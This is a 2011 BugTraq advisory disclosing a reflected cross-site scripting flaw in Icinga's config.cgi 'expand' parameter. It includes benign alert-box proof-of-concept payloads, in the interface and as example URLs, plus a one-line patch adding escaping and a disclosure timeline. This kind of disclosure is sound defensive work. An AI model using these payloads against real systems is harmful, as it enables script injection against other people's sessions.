BugTraq
Cross-Site Scripting vulnerability in Icinga Jun 01 2011 06:00PM
sschurtz t-online de
Advisory: Cross-Site Scripting vulnerability in Icinga

Advisory ID: SSCHADV2011-005

Author: Stefan Schurtz

Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0

Vendor URL: http://www.icinga.org

Vendor Status: Resolved

CVE-ID: -

==========================

Vulnerability Description:

==========================

This is a Cross-Site Scripting vulnerability

==================

Technical Details:

==================

No input validation for "expand" in config.c(gi)

View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>

View Config -> Command Expansion -> To expand -> <body onload=alert(666)>

or

http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<sc
ript>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<bo
dy onload=alert(666)>

=========

Solution:

=========

in config.c

< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);

> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));

This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information

====================

Disclosure Timeline:

====================

01-Jun-2011 - informed developers

01-Jun-2011 - Release date of this security advisory

01-Jun-2011 - fixed - Target version: 1.4.1

01-Jun-2011 - post on BugTraq and Full-disclosure

========

Credits:

========

Vulnerability found and advisory written by Stefan Schurtz.

===========

References:

===========

http://www.icinga.org

https://dev.icinga.org/issues/1605

http://www.rul3z.de/advisories/SSCHADV2011-005.txt

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